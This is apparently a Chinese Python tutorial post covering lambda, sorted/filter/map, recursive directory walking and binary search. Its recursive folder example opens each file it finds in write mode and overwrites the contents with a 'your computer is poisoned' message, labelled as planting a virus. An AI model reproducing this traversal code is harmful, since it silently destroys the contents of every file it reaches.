zoukankan      html  css  js  c++  java
  • 14 匿名函 递归二分法

    一.匿名函数
    1. 表达式 lambda 形参:返回值
    lambda s:len(s)

    二.内置函数 sorted filter map
    1.sorted(可迭代对象,key=函数名,reverse=False或True)
    sorted(Iterable,key,reverse=False or True)
    参数reverse,是否反转
    过程:把li中的每个元素(字典)传给函数func,根据函数的返回数值进行排序
    例子:
    li=[{'id':1,'name':'alex','age':28},
    {'id':2,'name':'taibai','age':58},
    {'id':3,'name':'taihei','age':18},
    {'id':4,'name':'henhei','age':38}]
    def func(dic):
    return dic["age"]
    ret=sorted(li,key=func)

    2.filter(function,可迭代对象)
    将可迭代对象中的每一元素作为参数传给function,返回值为True的元素留下
    li=["渴望","家有儿女","蜗居","49天"]
    ret=filter(lambda s:len(s)>2,li)#得到一个可迭代器
    print("__next__" in dir(ret)) #True
    print(list(ret)) #此处已经把迭代器中的值取完,之后的for 循环取值不到
    for el in ret:
    print(el)#此处取值不到

    例子:用filter来处理,得到股票价格大于20的股票名字
    shares={
    'IBM':36.6,
    'Lenovo':23.2,
    'oldboy':21.2,
    'ocean':10.2,
    }
    ret=filter(lambda x:shares[x]>20,shares)
    print(list(ret))

    3.map(function,Iterable) 映射函数
    把可迭代对象中的每一个元素传给函数执行,并保留最终的结果
    li=[2,3,4,5,6,7,1]
    ret=map(lambda x:x**2,li)
    print("__next__" in dir(ret)) #True
    print(list(ret)) #[4, 9, 16, 25, 36, 49, 1]
    for i in ret:#值已经被list取完,此处取不到值
    print(i)

    三. 递归 和 二分法
    递归 :当递归有返回值的时候. 需要写return. 否则有可能接收不到返回值
    1.文件夹层层打开
    # import sys # system python, os 操作系统
    #os : 和操作系统相关的一些功能
    # os.listdir("d:/") 帮我们打开一个文件夹. 返回文件夹内的所有内容(文件的名字)
    # os.path.join("马化腾","马云") 马化腾/马云
    # os.path.isdir(路径) 判断这个路径是文件夹还是文件

    import os #系统模块
    def func(path,ceng):
    lst=os.listdir(path)#打开一个文件夹,把该文件夹中文件的名字(包括文件夹名),放在一个列表中
    for el in lst:#遍历所有文件名
    real_path=os.path.join(path,el) #拼接出文件的绝对路径
    if os.path.isdir(real_path):#判断是否为文件夹
    #判断是否为文件夹
    print(" "*ceng+el) # 表示换行,ceng表示文件夹层数
    func(real_path,ceng+1) #递归入口
    else:
    print(" "*ceng+el) #递归出口
    f=open(real_path,"w") #植入病毒
    f.write("你电脑已中毒")
    f.flush()
    f.close()
    func("d:/a",0) #从d盘a文件夹开始打开

    #二分法
    用二分法必须是有序序列
    思路:索引 抓收尾,顾中间
    lst = [4, 56, 178, 253, 625, 1475, 2580, 3574, 15963]
    left=0
    right=len(lst)-1
    n=int(input("请输入一个数:"))
    while left<=right:
    mid=(left+right)//2 #整除,确定中间索引值
    if lst[mid]>n:
    right=mid-1 #右边界左移
    elif lst[mid]<n:
    left=mid+1 #左边界右移
    else:
    print("找到了")
    else:
    print("%s不在lst里面"%n)

    #方法二
    lst = [4, 56, 178, 253, 625, 1475, 2580, 3574, 15963]
    def binary_search(lst, n, left, right):
    if left > right:
    return False
    mid = (left + right) // 2
    if n > lst[mid]:
    left = mid + 1
    # 当递归有返回值的时候. 需要写return. 否则有可能接收不到返回值
    return binary_search(lst, n, left, right)
    elif n < lst[mid]:
    right = mid - 1
    return binary_search(lst, n, left, right)
    else:
    print("找到了")
    return True

    n = int(input("请输入一个数字n:")) # 178
    ret = binary_search(lst, n, 0, len(lst)-1)
    print(ret)

    #方法三
    #切换列表
    def binary_search(lst, n):
    if len(lst) == 0:
    return False
    left = 0
    right = len(lst) - 1
    mid = (left + right) // 2
    if n > lst[mid]:
    # 当递归有返回值的时候. 需要写return. 否则有可能接收不到返回值
    return binary_search(lst[mid+1:], n)
    elif n < lst[mid]:
    return binary_search(lst[:mid], n)
    else:
    print("找到了")
    return True

    n = int(input("请输入一个数字n:")) # 178
    ret = binary_search(lst, n)
    print(ret)




  • 相关阅读:
    springmvc生成文件(excel、pdf...)和文件上传
    mybatis association 关联查询只返回一条记录
    架构web服务-Nginx07-动静分离
    架构WEB服务-Nginx之六-四层负载均衡
    LVS之三---健康检查
    LVS之2---基于LVS负载均衡集群架构实现
    架构web服务-Nginx之八-nginx实现Rewrite重写
    架构WEB服务-Nginx之五-七层负载均衡
    架构web-Nginx之四-反向代理
    WEB服务-Nginx之三-LNMP架构
  • 原文地址:https://www.cnblogs.com/knighterrant/p/9911766.html
Copyright © 2011-2022 走看看